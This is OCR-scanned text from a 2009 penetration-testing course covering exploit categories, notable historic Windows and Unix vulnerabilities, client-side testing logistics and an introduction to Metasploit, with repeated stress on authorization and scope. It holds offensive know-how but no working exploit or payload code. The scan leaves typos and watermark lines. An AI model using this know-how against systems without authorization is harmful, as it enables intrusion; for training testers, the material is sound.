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Welcome to the Day 3 section of the class, focused on exploitation. In this section, we'll
look at many kinds of exploits that a penetration tester or ethical hacker can use to
compromise a target machine. We'll look at the differences betweell server-side, client-side,
and local privilege escalation exploits. We'll see how these exploits are packaged in tools
like Metasploit. We'll go over some of the more advanced Metasploit options, including its
mighty Meterpreter, discussing some of the best features in this really powerful payload that
are hugely helpful for penetration testers and ethical hackers.

We'll also look at some of the common pitfalls that we face when running exploits, as well
as methods for mitigating, dodging, or even eliminating those issues. Finally, we'll zoom in
on Windows. With its 80+% market share and regular discovery of vulnerabilities and
release of exploits, the culmination of exploitation is often a command shell on a Windows
box. We'll see how to maximize the effectiveness of that access, by using built-in Windows
tools to do reverse DNS lookups, ping sweeps, and password-guessing attacks, wielding
Windows command-line kung fu specifically geared to penetration testers and ethical
hackers. Each of these topics includes hands-on exercises to give attendees practical
experience in using these techniques.

We've got quite a day ahead of us, so let's begin.
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The next segment of this course will discuss exploitation of target systems. At the
end of our scanning phase, we need to take an inventory of the information we've
retrieved so far and the various possible vulnerabilities that we've identified. If the
Rules of Engagement for the project allow us to do so, we will use this information
to exploit systems in the target environment.

There are many options for exploiting systems. In this section, we'll explore many
of the most common and powerful techniques for us to use as penetration testers
and ethical hackers.
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What is Exploitation? 

Exploit: Code or technique that a threat uses to take 
advantage of a vulnerability 

- For a penetration tester exploitation often involves gaining 
access to a machine to run commands on it 

- Possibly with limited privileges 

- Perhaps with su peruser privileges 

Some examples: 

- Move files to a target machine 

- Take files from a target machine 

- Sniff packets at the target Especia1Jy 

- Reconfigure the target machine Dangerous! 
- Install software on a target machine J 

ir 09, All Rights Rcscrvd 4 

Before we discuss how to exploit target systems, we need to define exploitation. As we 
discussed in 560.1, an exploit is code or a technique that a threat uses to take advantage of a 

security vulnerability on a target system. For a penetration tester, exploiting a target 
machine is gaining some form of access to the system, usually to run commands on it. We 

will also use the phrase "compromising a machine" in a similar fashion. 

Our exploitation may give us limited privileges on the system, running a limited set of 
commands as a lowly user account. Or, our exploit may provide superuser privileges on the 

machine (UID O on Linux/Unix, or Administrator or SYSTEM on Windows). Alternatively, 
our initial exploit may give us limited privileges, which we then escalate with a local 

privilege escalation attack to get superuser rights on the box. 

The commands we run on the target machine that we've compromised with our exploit may 
allow us to move files to or from the machine. We could upload programs or take 

appropriate information from a machine in an authorized fashion according to our Rules of 
Engagement. We might run programs on it, including a sniffer that could capture packets 

traversing the network on which the target machine sits. We could reconfigure the machine, 
altering its settings so that it is more useful in subsequent testing, possibly as a jump-off or 

pivot point to exploit other systems. We might even install software packages on the 
machine. 

Of course, any of these actions is very significant and could impact a production 
environment in profound ways. 
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Why Exploitation?

False positive reduction /
elimination
- But, even if exploit doesn't work, you DMZ

still may want to report on detected System
vulnerability

Proof of vulnerability and therefore
more realistic treatment of risk
Use of one machine as a pivot point
to get deeper inside the network
- More of a sense of what a real bad guy

can accomplish

Internal r-i
System

Why would we consider exploiting a target machine during a test? First, keep in mind that
not all tests actually involve exploitation. Some target organizations merely want a list of
potential vulnerabilities or even just open ports for their test results, without any more
detailed confirmation of exploitability of the targets.

But, other organizations scope tests to include exploitation for several reasons. First off, by
actually exploiting a system, we can reduce the number of false positives we get from our
vulnerability scanning tool. After all, if the exploit works in compromising the target
machine, we have confirmed that the vulnerability is actually present. Please note that if an
exploit does not work, there still might be a very significant vulnerability on the target. But,
the given exploit code the testers used might have flaws causing it to fail. Another evil
attacker might have a different and better exploit that would succeed. Thus, we still should
report discovered potential vulnerabilities, even we cannot successfully exploit them.

A successful exploit also offers proof that a vulnerability exists, helping motivate the target
organization to address its true risk in a more effective manner.

Furthermore, by compromising one machine, we may be able to use that system as a pivot
point to discover, scan, and exploit additional systems. For example, by compromising one
machine on a DMZ, we can then use that system to compromise other machines on the
DMZ or possibly the internal network. But, we should only do such pivoting if it is
explicitly agreed to by target organization personnel.

5
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Risks of Exploitation 

Service crash 

System crash 
System stability impacted 

System integrity violated 

Data exposure with legal ramifications 

Because of these concerns, verify that exploitation is 
allowed by Rules of Engagement 

- And... double check for a given system whether it is in scope 
Also, understand the probabilistic nature of exploit 

success 
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Exploiting target machines does bring some significant risks, however, which must be carefully 
discussed with target organization personnel. 

Exploitation could cause a target service to crash, resulting in a denial of service condition. On 
a critical production system, such service interruption could result in significant damages from 

financial, reputational, and other perspectives. Beyond the crash of an individual service, the 
entire target system could crash, causing several services to come off line. Or, instead of r 

bringing a system down immediately, an exploit could make it unstable. Thus, the service or 
system continues to run, but has problems intermittently that might be difficult or impossible to 

track back to the exploitation attempt. 

Furthermore, an exploit may violate the integrity of the system, tweaking its configuration or 
worse. Important and sensitive data could be lost. 

Also, by exploiting a system to get access to files or sniff packets from the network, the testing 
team might see data that they aren't officially authorized to view. In financial services, 

healthcare, government agencies, and other industries, there could be significant legal 
implications for testers who view this data, as their job usually does not have an explicit need to 

for data access. 

Because of all these concerns, not only should exploitation be discussed with the target 
organization in the context of the whole project, it should also be addressed on a system-by- 

system basis. That is, before running exploits against a particular machine, check with target 
organization personnel to make sure the given target is in scope and whether accessing it or 

viewing data from it has any implications. 
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Penetration testers and ethical hackers often attack target systems using exploits. There are
thousands of exploits available on a free and commercial basis today, with new ones
released on a regular basis. But, not all exploits are identical. There are numerous different
ways to categorize exploits, based on how they function, the vulnerabilities they target,
where they run, and so on. From a penetration tester and ethical hacking perspective, one
of the most useful means for categorizing exploits separates them into client-side, server-
side, and local privilege escalation attacks. Let's explore each of these different categories
in detail to see how we can use them in our penetration testing and ethical hacking work.

7
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Categories of Exploits 

Exploit: a piece of code that makes a target 
machine do something on behalf of an attacker 

Generally speaking, most exploits fall into one 
of three categories: 

- Server-side exploit 

- Client-side exploit 

- Local privilege escalation 

A penetration tester may need to use any one, 
or more likely, a combination of each of these 

kinds of attacks 

Network Pen T ights Reserved 8 

According to Wikipedia, an exploit is, "A piece of software, a chunk of data, or sequence of 
commands that take advantage of a bug, glitch or vulnerability in order to cause unintended 

or unanticipated behavior to occur on computer software, hardware, or something electronic 
(usually computerized)." (http ://en.wikipedia.org/wiki/Exploit%28computer_security%29) 

Most exploits in use today fall into one of the following three categories: 

Server-side exploits attack a service that is listening on the network. The service 
gathers packets from the network, passively waiting for a user on a client machine 

to initiate a connection. To exploit the service, the attacker generates exploit 
packets destined for the target service. No user interaction on the target machine 

is required. 

Clieni-side exploits focus on attacking a client application that fetches content 
from a server machine. Based on user interaction, the client program must 

actively pull content from a machine configured to exploit it for this kind of attack 
to work. 

Local privilege escalation exploits deal with an attacker who already has limited 
privileges to run code on a target machine. With this attack, the tester exploits 

some functionality of the target system to jump to higher privileges on the 
machine, such as root, admin, or SYSTEM privileges. Local privilege escalation 

attacks may or may not involve user interaction. 

A penetration tester may need to use any of these kinds of exploits during a project. A well- 
stocked arsenal of each kind of exploit can be quite helpful. 

New vulnerabilities that fit into these three categories are discovered on a regular basis. 
Penetration testers and ethical hackers need to stay abreast of current issues, as well as 

important vulnerabilities and related-exploits from the recent past. 
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Server-Side Exploits
Listening service has a vulnerability
Attacker composes specific packets for service to
exploit it
Firewall filtering must allow inbound packets for
given service
- Once we gain access to one system inside firewall, we may

be able to pivot

Attacker
sends
exploit
code to
service

Exploit
code
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Traditionally, penetration testing and ethical hacking focused on server-side exploits, and
these vulnerabilities remain a big part of most tests today. In this kind of attack, a service
listens on the target machine. In the vast majority of cases, the service listens on a given
TCP or UDP port, although in rare circumstances, a system may be exploitable via an
ICMP, raw IP packet, or other packet type (usually for a vulnerability in the kernel of the
target itself). The TCP and/or UDP port listeners are discovered by the port scanning we
discussed earlier in the course. The vulnerable service is identified based on OS
fingerprinting and version scanning. Given the port number, the version type, and the
operating system, the attacker runs a tool that generates suitable exploit packets tuned for the
target machine that are fired across the network at the target machine's listening service.

Of course, for a server-side exploit to work, the attacker must be able to get packets to the
target service. Thus, if there is some form of firewall filtering between the attacker and the
target (such as a network firewall, a network-based Intrusion Prevention System, or even a
host-based firewall on the target machine), it must allow inbound access to the service the
attacker is attempting to exploit or the attacker will not be able to use a server-side exploit
against it.

Once the attacker gains access to one machine inside the firewall (perhaps with a server-side
exploit, or even with one of the client-side exploits we'll discuss later), the attacker can use
that system to pivot, exploiting other systems.

9
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lo 

Notable Windows Server-Side 
Exploits 

Windows services 

- MS-RPC-DCOM: MS 03-026 

- LSASS: MS 04-11 

- uPNP: MS 05-039 

- RRAS: MS 06-025 

- Server Service: MS 06-040 

- Server Service: MS 08-067 

- Approximately one or two big ones per year 
Other Microsoft products on Windows 

- ITS: Numerous examples 
Data Backup Products 

- Ventas, CA Brightstor, and Arkeia 
Virtual Network Computing - VNC 

- Authentication bypass flaw from 2006, and other flaws, often not patched 

k Pen Testing lthica1 i lacking 
- 
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There are thousands of exploits for various server-side vulnerabilities. Some of the most significant 
associated with specific services include: 

Windows services: These kinds ofexploits are the most useful because ofthe ubiquity of Windows 
machines and the fact that many of them grant SYSTEM-level privileges against a target. Every year, 

a handful ofvulnerabilities are discovered for major Windows services. One or two exploits are 
released publicly, and incorporated into an exploitation framework such as Metasploit. Some of the 

most significant Windows server-side exploits of the past several years are the MS-RPC-DCOM buffer 
overflow, exploited by the Blaster worm way back in 2003. In 2004, Sasser used the buffer overflow 

flaw in the Local Security Authority Subsystem Service (LSASS), with a very powerful exploit. 2005 
witnessed the universal Plug-n-Play (uPNP) exploit, utilized by the Zotob worm/bot combo. In 2006, 

we say the RRAS exploit used against Windows machines to great effect, as well as attacks against the 

server service via the MSO6-040 flaw. In November 2008, we saw the MSO8-067 flaw, a major 
vulnerability in the Windows server service that could allow attackers to gain local SYSTEM 

privileges. 

Although the vast majority of systems have patches for these flaws, it is still useful for an ethical 
hacker or penetration tester to have a mental inventory of the most significant flaws, including this list. 

That way, if we are able to compromise one fully patched machine via another mechanism (password 
guessing, client-side exploit, etc.), we may be able to pivot to another more firewalled but less patched 
machine, attacking with one of these older exploits. 

Other Microsoft products on Windows: Numerous exploits exist for other Microsoft products, 
particularly unpatched ITS web servers. Most of these exploits grant the privileges of the web server 

itself, which is typically under the account "IUSER [machine name]", not admin or SYSTEM. 

Data Backup Products: In the past few years, several vulnerabilities have been discovered for data 
backup products for major vendors. These services are typically not patched as quickly as Microsoft 

products, and therefore offer a useful avenue of attack. 

Virtual Network Computing - VNC: This product, which provides remote GUI control of a system, has 

a history of some pretty significant security flaws. Public exploits for these flaws can allow an attacker 
to compromise a VNC service, typically gaining admin privileges and GUI control. 
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Notable Linux and Unix
Server-Side Exploits

Linux and Unix services:
Solaris sadmind command execution flaw, CVE-2003-0722
Solaris and Mac OS X Samba buffer overflow, CVE-2003-
0201

- Mac OS X Apple File Share buffer overflow, CVE-2004-0430

Linux Squid NTLM Authentication buffer overflow, CVE-2004-
0541

HP-UX LPD service command execution, CVE-2005-3277

Numerous Linux flaws in CGT and PHP scripts for web
servers, including:

Awstats CGT, PHP wordpress, PHP XML-RPC, PHP-vBulletin

k Pen Testing Hacking - ©2009, All Rights Reserved

Windows isn't the only platform with server-side vulnerabilities. Over the past several
years, a variety of Linux and Unix exploits have been released for services that run on those
platforms. It's worthwhile noting, however, that Linux and Unix are not monolithic when it
comes to exploits. Different distributions of Linux and especially different versions of Unix
often have different flaws and therefore require exploits customized for the specific given
target operating system type. That said, exploits are freely available for some significant
Unix and Linux vulnerabilities over the past several years, including:

The Sun Solstice AdminSuite Daemon, better known as "sadmind" buffer
overflow, documented in CVE number 2003-0722, publicized in September 2003.
Prior to 2003, there were other flaws in sadmind as well, including a 2001 buffer
overflow flaw that lead to the IlS/sadmind worm that compromised Windows JIS
servers and used them to exploit Solaris systems.

A Samba buffer overflow flaw for Solaris and Mac OS X was announced back in
2004, with exploits released for each platform.

A buffer overflow flaw in the Linux implementation of the Squid proxy, located in
the code used to provide NTLMvI authentication, announced back in 2004.

The Line Printer Daemon service in HP-UX, which allowed command injection, a
flaw publicized in 2005.

Additionally, numerous exploits for CGI and PHP scripts running on Apache web
servers on Linux and many Unix variants, allowing command injection.

The Metasploit Framework, a tool we'll discuss soon, has exploits for each of the
vulnerabilities on this list, plus numerous others.
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Attacker 
waiting 

to serve 
exploit 

Client-Side Exploits 

Client-side exploits wait for a client application to 
access attacker-supplied response/file, then deliver 

an exploit 

- More plentiful in recent years 

- For pen tests with client-side exploits in scope, compromise 
is almost always successful 

Firewall 
allows 

outbound 

Target 
Machine 

Deliver 
exploit as 

part of 
response 

User accesses 
content from 

attacker-controlled 
system 
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In the past few years, the number ofservcr-sidc vulnerabilities and public exploits for those 
flaws has shrunk. They haven't disappeared, but gone are the heady days of2000 to 2004 
when a new server-side vulnerability seemed to appear every few weeks. Attackers have 

adapted, and, as penetration testers and ethical hackers, we must adapt too if we want to find 
the kinds of flaws that are commonly exploited today. Whenever a penetration test or ethical 

hacking exercise includes client-side exploitation within scope, successful compromise of at 
least one target is very common. 

Today, the vast majority of vulnerabilities are discovered in client-side software. In these 
attacks, a user at a client machine runs a program that initiates an outbound connection to a 

server somewhere on the network. The attacker has configured the server to respond, 
delivering an exploit back to the client software. The attacker may own the server machine, 

or it could be a third-party system on which the attacker has posted exploit code. From an 
attacker perspective, the upsides of client-side attacks are: 

The attack will work as long as the firewall allows outbound access from the 
target machine, and most firewalls allow such outbound access for some of the 
most vulnerable client programs available: browsers. 

The attacker doesn't have to target a single user, but can instead spread a net for 
various users who may access the attacker's machine. 

There are some downsides for the attacker as well, however: 

User interaction is typically required to run the client program and initiate the 
connection. 

The exploit will typically get the privileges of the client program, which may not 
be running with root, admin, or SYSTEM privileges (although sometimes it is). 

The attacker must solicit traffic from the victim machine. This is often done via 
e-mail, DNS manipulation, social engineering, and other tricks. 

12 

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


Notable Client-Side Exploits

Browsers
- Internet Explorer
- Firefox
Media players
- QuickTime Player
- Real Player
- Winamp

Document-Reading Applications
- Acrobat Reader
- Microsoft Word, PowerPoint, Excel

Run-Time Environments
- Java

On the client-side, there are a plethora of exploitable vulnerabilities. The target applications
tend to fall into one of these categories:

Browsers: In the last several years, there have been numerous flaws in JE that are readily
exploitable using public free exploitation tools. Many of these exploits are high-quality,
operating very reliably with high success rates. Firefox also has had some significant flaws,
and is often less quickly patched than JE, making it a prime target.

Media Players: Audio and video viewing applications have a significant history of security
issues, including Apple's QuickTime Player, Real Player, and Winamp, among many others.

Document-Reading Applications: These applications have had a rough time in the past
couple of years, with major vulnerabilities discovered on a regular basis in various
Microsoft Office products such as Word and PowerPoint. One of the biggest areas of
exploit here is the Adobe Acrobat Reader, which has had several flaws and is often not
patched by enterprises on a regular basis.

Run-Time Environments: There are exploits for Java that break out of the Java sandbox on
the client and run code of an attacker's choosing on the underlying operating system.

These aren't the only exploitable client programs available, but these categories tend to offer
testers the most fertile attack surface.

13
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When performing client-side testing during a project, how can a tester know which client- 
side programs are in use, so that he or she can configure testing tools to serve up the 

appropriate exploits? For server-side vulnerability testing, we can probe the target service in 

a version scan to see what's listening. But, for testing for client-side exploitation 
possibilities, we cannot really send probes for client-side programs. Thus, how can we 

determine which client-side programs are present, and whether these versions are 
vulnerable? There are several approaches. 

First off, if client-side testing is part of the project scope, personnel in charge of the client 
machines likely want to know if their systems are exploitable. Thus, they may be amenable 

to simply telling the tester what client-side software they are running when asked. Create a 
checklist of items that might be most interesting from an exploit perspective, such as the list 

of vulnerable client programs we covered earlier, and go over the checklist during an 
interview with target personnel. 

Alternatively, you could ask target personnel to surf to your testing systems so that you can 
measure the kind of browser they are using by looking at its User-Agent string. While this 
method won't provide a comprehensive inventory of all client-side software, it will give you 

useful insights. Please note that an outbound web proxy may disguise the client type, 
making this method inaccurate. 

Another possibility for determining which client-side exploits to use is to simply guess. 
Most organizations are running Microsoft Office, with Word and PowerPoint. Most also 
have Adobe Acrobat reader, as well as the Java Run-Time Environment, installed on all of 
their clients. 

14 

Determining Client-Side 
Programs In Use 

How to know which client-side software ¡s 

running? 

- Ask target personnel 
If they are interested in a thorough test, they may provide info 

Make a checklist 

- Have them surf to testing systems 
Limited - focuses on browser types via User-Agent strings 

Requires user interaction 
Outbound web proxy may disguise client types 

- Guess 
It is not hard to anticipate what they'll be running 
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Client-Side Software Inventory
Tools

Ask personnel to run a software inventory tool on
representative workstation and send the results
- Microsoft Baseline Security Analyzer (MBSA) ¡s very

helpful
- Shavlik Technologies' HFNetChk can help
- Custom-written scripts can be helpful too that simply

perform a recursive search of C:\Program Files

C:\> dir Is "c:\Program Files" > inventory.txt

- Output includes last update date of files...
indicating last revision and possibly patch date

A more comprehensive possibility involves coordination with target personnel, but can give
you some of the most in-depth results. During the scoping process for projects that include
client-side exploitation, indicate that you'll need target personnel to run a program or script
that gathers an inventory of software running on a sample workstation machine. Then, at
the outset of the project, provide them instructions for running an inventory tool. You
could use the Microsoft Baseline Security Analyzer (MBSA), which is freely available from
Microsoft and generates very high-quality reports indicating Microsoft software that is out
of date (including Windows and Office products). However, MBSA focuses only on
Microsoft products. Other programs that can look for patch levels of installed software
include Shavlik Technologies' HFNetChk and HFNetChk Pro. Alternatively, you could
write a custom script that pulls information about client-side programs running on the target
environment. A simple yet powerful method for doing this is to have target personnel run
the following command (or invoke a one-line bat script that includes this command):

C:\> dir Is "c:\Program Files" > inventory.txt

This command invokes dir to recursively (/s) go through all of the Program Files
directories and dump the results into a file called inventoiy.txt. This listing will include not
only the names of all programs included in the stock-build workstation you are sampling,
but also the last update date of each program. That way, you can research when the last
time the given program was patched. After running the inventory, ask the client to send
you the inventory.txt file or similar output from other inventory tools you have them run.
Note that this inventory includes some potentially very sensitive information about potential
vulnerabilities, and therefore should be encrypted according to agreements with client
personnel about protecting sensitive information associated with a test.

15
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Once we've developed an inventory of client-side programs, how can we then test whether those 

programs are exploitable? We need to have those client machines access our testing systems so we 
can serve up a series of exploits. There are several methods for making this happen, including: 

Manual user intervention: The tester could coordinate with target personnel, asking them to use a 
stock laptop or desktop machine to surf to a variety of URLs provided the the tester over the phone. 
From a positive perspective, this approach allows for careful coordination, back-and-forth 

discussions, and re-tries in real-time. From a negative perspective, it consumes the time of likely 
busy target personnel. 

E-mail with links: The tester could send e-mail with links that point back to the tester's machines 
with exploits ready to be served. Target personnel would have to click on these links, of course, to 

automatically invoke the appropriate client software to access the tester's environment. The Core 
IMPACT commercial exploitation tool includes functionality that will automatically generate and 

send e-mail containing links. Alternatively, you could generate such e-mail manually. Be careful in 
determining who you send these e-mail messages to, making sure that such recipient personnel are 

explicitly in the project's scope. 

Script to launch clients: Most client side software can be launched using a script and directed to a 
given destination. Some of these programs are quite easily scriptable, accessing a URL provided to 

the program at the command line (JE and Firefox can be invoked this way). Others require scripting 

up GUI interactions, a more difficult task. To make JE 7 and Firefox surf to www.testmachinc.org 
at the command line or from within a script, you could run: 

C: \> C: \windows\ie7\iexplore.exe www.testniachine.org 

C:\> "c:\Program Files\Mozilla Firefox"\firefox.exe 
www. tes tmachine org 

These scripts can be fine-tuned with the output we have of the inventory (dir Is or MBSA 
results) of client software we gathered earlier. 

16 

Making Client Software Access 
Testing Systems 

With an inventory of client programs, how can we 
get client software to access the testing machines? 

- Manual user intervention, coordinated via telephone 

- E-mail with links 
Make sure recipients are in the project scope 

- Script that launches client programs: 

C: \> C: \windows\ie7\iexplore.exe www.testmachine.org 

C: \> "c:\Program Files\Mozilla Firefox"\firefox.exe 
www.testinachiue.org 

\etwork Pen Testi 
h 

thicaiilacking 
- 
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Use Appropriate Client
Machines

Be careful that target personnel use a
*representatjve* sample of a client machine
- Not one that is freshly patched just for the test

Often, a tester hears:
- "I'm almost ready for the test... just let me update

my patches"
- Such a test is not really revealing the true risks of

the target organization
- Politely explain this to target personnel...
- And make sure that the Rules of Engagement or

scoping agreement mentions using a "representative
sample" of machines

Network Pen Tesfing & Ethical Hacking ©2009, All Rights Reserved 17

When performing this client-side testing, make sure that target personnel use a
representative sample of one or more client machines to access your test environment.
Quite often, when conducting such tests, target personnel say, "OK, I'm almost ready to
access your systems, but let me just update my patches first." This happens all of the time,
and is, unfortunately, not an adequate test of the real risks faced by the target organization.
Make sure that a stock laptop that has the same patch level as the common users in the target
environment is employed. You also may want to have this understanding included in the
projects Rules of Engagement or scoping agreement.

17
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Local Privilege Escalation 
Exploits 

Besides server-side and client-side exploits, we 
also have local privilege escalation 

- Require some form of access on the machine in 
advance 

- Possibly client-side exploit, server-side exploit, 
password guessing, password sniffing, etc. 

Jump from a limited privilege account to higher 
privileges, such as: 

- root / UID O on Linux or Unix 

- Administrator or SYSTEM on Windows 

Can allow tester to read arbitrary files from 
system, install software, run a sniffer, etc. 

Many vendors do not rate these vulnerabilities as 
"Critical", so they are less likely to be patched in a 

timely fashion 

Limited 
Privilege 
Process 

High 
Privilege 
Process 

Besides server-side and client-side exploits, a third category of exploit often becomes very 
important once a tester compromises a machine: local privilege escalation exploits. With these 

issues, an attacker must first have some form of access to a machine, with the ability to run 
commands on it with limited privileges. The attacker may have gotten such access by using a 
client-side or server-side exploit of a program running with limited privileges. Or, the attacker 

may have successfully guessed a password to a lower-privileged account. Alternatively, the 
attacker may have sniffed a password from the network as it passed by a machine on which the 
attacker already gained high-privileged access to run a sniffer. The password gathered by the 

sniffer may provide limited-privileged access to an account on another system. 

In a local privilege escalation attack, the attacker runs code that either a) makes their current 
limited-privilege process jump up in privileges to start running with higher rights on the machine, 

or b) uses their existing limited-privilege process to attack high-privilege processes to make them 

run code. Both scenarios are a form of local privilege escalation. The goal for either of them is 

to let the attacker run code with higher privileges, such as root or UID O privileges on Linux/Unix 

or Administrator or Local SYSTEM on Windows machines. 

Once the attacker attains superuser privileges, he or she can then read any file on the machine that 
is not encrypted, install software on the system (including attack tools to target other systems), 

run a sniffer that grabs packets passing by the network interface of the target machine, monitor 
the system at a fine-grained level, and so on. 

Many organizations do not patch local privilege escalation vulnerabilities very quickly, because 
most vendors do not rate such issues as "Critical". Microsoft itself, as well as many other 

vendors, tend to rate such issues as "Important" at best. 

18 
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There are numerous types of local privilege escalation attack, but they tend to fall into the
following categories:

Race conditions. This kind of issue involves two different actions happening on a system in
an indeterminate order (very nearly at the exact same time) with very different results if one
action finishes before the other. In some local privilege escalation attacks, some systems
have features that check to see ifa program has the privileges needed to perform a given
action while the action itself is initiated. If the action finishes before the privilege check is
done, a privilege escalation attack could occur.

Kernel attacks: The heart of most operating systems, the kernel, may have flaws that allow
an attacker to run code that makes calls into kernel functionality, carefully orchestrating
these calls with input that tricks the kernel into running code of the attacker's choosing with
higher privileges.

Local exploit oJhigh-privileged program or service: An attacker may use a limited
privilege process on a machine to try to execute programs with higher privileges or make
calls to a higher-privileged process running on the same system. On Linux/Unix machines,
these attacks tend to focus on SUID root programs or scripts, which always run with UID O
privileges regardless of the privileges of the account that invokes the script. On most
systems, SUID root programs are carefully constructed to make sure they can only perform
one given action, such as changing a user's password (which involves editing the
/etc/passwd or /etc/shadow file), to minimize the chance of attack. By exploiting a flawed
SUID root program, an attacker might be able to trick it into running code. On Windows
machines, this kind of attack often happens by exploits of local, high-privileged processes,
such as csrss.exe (which controls interactions within user mode), winlogon.exe (which logs
users onto a machine), lsass.exe (which provides authorization checks), and so on.

19

Local Privi lege Escalation Attack
Categories

Various types of local-privilege
escalation attacks:
- Race conditions
- Attacks against the kernel
- Local exploit of high-privileged program or

service
Linux / UNIX: SetUID O executable files - binaries or
scripts
Windows: Attacks against processes such as csrss.exe,
winlogon.exe, Isass.exe, etc.
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Our next topic is Metasploit, a fantastic free exploit framework that is highly useful 

to penetration testers and ethical hackers. The tool is immensely powerful, offering 
functionality for exploiting systems in numerous different ways and then interacting 

with the newly exploited system quite flexibly. 

We're not going to merely discuss the concepts of Metasploit. We'll go on an in- 

depth tour of Metasploit, discussing its most useful features for penetration testers 
and ethical hackers, including several somewhat obscure features that are really 

helpful when doing tests. We'll also do some hands-on exercises with an exploit to 

get command shell access and another exploit to load the very flexible Meterpreter 
payload into a target machine. 

20 
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Metasploit Exploitation
Framework

Metasploit is a free, open-source exploitation framework
What's an exploitation framework?
- An environment for running numerous different exploits in a flexible

fashion
- An environment for creating new exploits, using interchangeable

piece parts
- Simplifies the creation of new exploits
- Standardizes the usage of new exploits

Runs on Linux, Mac OS X, and Windows
- Although, according to documentation for some versions, "The

Metasploit Framework is only partially supported on the Windows
platform. If you would like to access most of the Framework
features from Windows, we recommend using a virtualization
environment such as VMware with a sus sorted linux distribution..."

Network Pen Tesdng & Ethical Ilacking - 2Ou9, All Rk rved 21

The Metasploit Framework (sometimes abbreviated MSF) is a free, open-source exploitation
framework. There are similar tools available on a commercial basis, like Core Security
Technologies' IMPACT and Immunity's CANVAS. But, even testers who have access to
such commercial tools often augment their arsenal with Metasploit, a tremendous tool for
attacks.

But, what is an exploitation framework? It's an environment in which exploits can be used to
compromise targets, and in which new exploits can be created. A comprehensive exploitation
framework, like Metasploit, offers numerous re-usable piece parts, libraries of code that
simplify and speed up the process of creating new exploits. Also, with a large arsenal of
exploits, the framework can standardize the usage patterns of exploits. Before exploitation
frameworks were widely available in the 2003 to 2004 timeframe, most exploits were one-off
affairs, each carefully hand crafted, but with widely varying quality and significant differences
in how each exploit was used to compromise a target. Exploitation frameworks, especially
Metasploit, helped to create some standards for how exploits are built and used.

Metasploit runs on Linux, Mac OS X, and Windows. However, according to the Metasploit
documentation for some versions of the tool, "The Metasploit Framework is only partially
supported on the Windows platform. If you would like to access most of the Framework
features from Windows, we recommend using a virtualization environment, such as VMware,
with a supported Linux distribution..." There is no detailed documentation for which feature
may be broken on Windows, so your best bet is to install it on another type of system, such as
Linux. Ifa given feature happens to not function properly in Metasploit on Windows during a
penetration test, you will get a false sense of the true vulnerability status of the target machine,
making your test far less valuable. Use it on Linux or Mac OS X to help ensure it functions
properly.

21

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


Exploit 
Collection 

The Metasploit Arsenal 

e Metasploit divides up the 
concept of exploits and 

payloads 

- An exploit takes advantage 
of a flaw in a target program 

- The payload makes the 
target do something the 

attacker wants 

- Metasploit includes over 200 
exploits and many dozen 

payloads 

Pay oad 
Collect ion 

Payload I 

Payload 2 

Payload M 

Exploit 2 Payload I Stager Launcher Send to target 

The Metasploit arsenal includes several user interfaces, an exploit collection, and a payload 
collection. Within the context of Metasploit, an exploit is a piece of code that can take 
advantage of a given vulnerability in a target program, making it run a payload. The 

payload is a piece of code that does something on a target machine for the Metasploit user, 
such as opening up a remotely accessible command shell, or gaining remote control of the 

target machine's GUI. By separating the exploits from the payloads, Metasploit allows us to 
mix and match a given exploit for a vulnerability that we've discovered in a target 

environment with a particular payload of our choice that gives us the type of control we 
need on a target. For example, you might choose a payload that gives remote command 
shell access on a target Windows machine, because you have good command line skills in 

Windows. Or, you might choose a payload with remote GUI control, because you are more 
GUI oriented. Or, you may prefer the immense flexibility of the Meterpreter payload, which 

we'll cover in more detail later. For each given exploit, we often have a dozen or more 
compatible payloads from which to choose. 

The Metasploit user invokes an appropriate interface and uses it to select an exploit and a 
payload. The user then configures various options for the exploit and payload, and uses 

Metasploit to shoot the results at a target system. 

Many security researchers release new exploits for newly discovered vulnerabilities as 
Metasploit modules on a regular basis, integrated into the Metasploit framework and ready 

to use. Some researchers work on new payloads, creating new capabilities usable by the 
exploits already included in Metasploit. 

22 
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Metasploit Versions

The course DVD includes several versions of Metasploit
- Located in the Linux image in /home/tools/framework-[version]
- Penetration testers often rely on multiple versions of Metasploit
- Some versions include exploits that other versions don't have
- In some versions, a given exploit is more reliable

More likely to succeed in getting access, less likely to crash target service

If you can install the target vulnerable app in a lab, you may want to check
the exploit against it to experiment

- And... some testers are just more familiar with a given version

Metaspioit 2.X was written in (mostly) Peri

Metasploit 3.X was written in (mostly) Ruby

The DVD for this class and its Linux VMware image include numerous versions of
Metasploit, including several examples of the Metasploit 2.X family and Metasploit 3.X.
They are all located in the /home/tools directory on the Linux image, with names of
framework- [version].

We've include so many different versions of Metasploit because penetration testers and
ethical hackers often rely on multiple different versions of Metasploit during a project. If an
exploit in one version of Metasploit fails, it's often possible that another version of
Metasploit will succeed. Also, some particular exploits in some versions of Metasploit are
more likely to crash a target service than others. Unfortunately, there really isn't any public
documentation of these differences, other than the occasional request to a Metasploit
developer's list, such as http://www.metasploit.comlarchive/frameworklthreads.html. If you
can install the software you are trying to exploit on a lab system to experiment with it before
launching the exploit at a live target, it's a good idea to do so to get familiar with the exploit
and how it is used, as well as to learn about its reliability and whether it is prone to crash the
target. Some Metasploit versions have exploits that other versions do not have, or have
significantly tweaked versions that may not function in the way a penetration tester desires.
Also some testers are more familiar with a given version of Metasploit, and prefer to work
from the comfort of the version that they know.

Metasploit 2.X was written mostly in Perl, while Metasploit 3.X transitioned most of the
project to Ruby. We'll be looking in detail at Metasploit 3.X.

23
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A Guided Tour of Metasploit 

We can look at Metasploit from within its 
console interface, or from the file system of 

the machine running Metasploit 
To look around inside the Metasploit console, 

you could run: 
# cd /home/tools/framework- [version] 

* ./msfconsole 

msf> show exploits 

msf> show payloads 

While that'll work, we'll tour the file system 

- Our tour is more flexible and faster that way 

- Feel free to follow along at your Linux prompt 
work Pen Testing & Ethical hacking - 

11 Rights Reserved 
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Now, we'll go on a guided tour of Metasploit 3.X. We could conduct this tour from within 
the Metasploit console itself, looking at its various aspects from within the tool. To launch 
the console and look at the exploits and the payloads, you could run: 

# cd /home/tools/framework- [version] 

./msfconsole 

msf> show exploits 

msf> show payloads 

While that'll work just fine, let's save that kind of analysis for our next hands-on exercise. 
Instead, we are going to do a tour of Metasploit by looking at its various elements in our file 

system. Touring Metasploit through the file system is a faster way of looking at more 
elements of the framework than analyzing it from within its own Metasploit console. 

As we go through different parts of this tour, feel free to follow along by typing the 
